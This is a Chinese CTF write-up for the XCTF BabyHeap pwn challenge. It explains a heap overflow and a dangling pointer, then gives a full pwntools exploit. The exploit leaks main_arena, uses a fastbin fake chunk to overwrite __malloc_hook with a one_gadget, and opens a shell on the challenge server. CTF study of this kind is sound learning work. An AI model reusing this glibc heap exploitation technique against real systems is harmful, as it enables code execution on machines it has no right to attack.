厦门邀请赛 pwn2 XCTF

本文详细解析了BabyHeap题目中的漏洞利用过程,包括任意读写堆块、绕过堆块大小限制、填充00以及打印main_arena地址等关键步骤。通过Python脚本实现了攻击流程,最终利用one_gadget完成攻击。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

这个题 看起来是一个无懈可击的堆题

典型的 堆菜单题 然后看一下函数里面有没有什么利用的点

这里   感觉没有什么利用的点  然后我们往下看

 

这里的修改长度是我们自己输入 也就是我们自己定的  长度 那么我们就可以 实现堆块任意输入

然后继续往下看

 

这里可以有些麻烦 输出的内容长度被限定在了 一开始的堆块大小   这个 可能需要一些绕过

然后看一下 dele

其实dele 这里做的已经很不错了  但是也是没有把用户指针给 清理掉

那么 我们就 get到了这个题的姿势

首先可以任意读写 堆块 然后可以又没有清理用户指针 然后我们可以 伪造堆块  绕过堆块大小

然后可以 填充   00 然后 可以 打印main_arena  然后直接一把梭就可以了

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import*
context.log_level="debug"
io=remote('111.198.29.45',43812)
#io=process("./babyheap")
elf=ELF("./babyheap")
libc=ELF("./libc-2.23.so")
one_gadget_addr= 0x4526a
def add(size,content):
	io.recvuntil(">> ")
	io.sendline("1")
	io.sendline(str(size))
	io.send(content)

def edit(index,size,content):
	io.recvuntil(">> ")
	io.sendline("2")
	io.sendline(str(index))
	io.sendline(str(size))
	io.send(content)

def show(index):
	io.recvuntil(">> ")
	io.sendline("3")
	io.sendline(str(index))

def dele(index):
	io.recvuntil(">> ")
	io.sendline("4")
	io.sendline(str(index))


if __name__ =='__main__':
	add(0x20,'a'*0x20)
	add(0x80,'b'*0x80)
	add(0x80,'c'*0x80)
	add(0x80,'c'*0x80)
	dele(1)
	payload='a'*0x20+p64(0)+p64(0x121)
	edit(0,len(payload),payload)
	payload='b'*0x80+p64(0)+p64(0x91)+'e'*0x80
	add(0x110,payload)
	dele(2)
	#gdb.attach(io)
	show(1)
	io.recvuntil('\x91\x00\x00\x00\x00\x00\x00\x00')
	main_arena_addr=u64(io.recv(6).ljust(8, '\x00'))-88
	log.success("main_arena_addr"+hex(main_arena_addr))
	libc_base_addr=main_arena_addr-0x3C4B20
	log.success("libc_base_addr"+hex(libc_base_addr))
	one_gadget_addr=one_gadget_addr +libc_base_addr
	fake_chunk_addr=main_arena_addr-0x33
	add(0x60,'d'*0x60)
	add(0x60,'d'*0x60)
	dele(4)
	payload='d'*0x80+p64(0)+p64(0x71)+p64(fake_chunk_addr)
	edit(3,len(payload),payload)
	add(0x60,'d'*0x60)

	payload=0x13 * 'a'+p64(one_gadget_addr)
	add(0x60,payload.ljust(0x60,'a'))
	#gdb.attach(io)
	add(0x90,'s'*0x90)
	io.interactive()
	io.close()

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值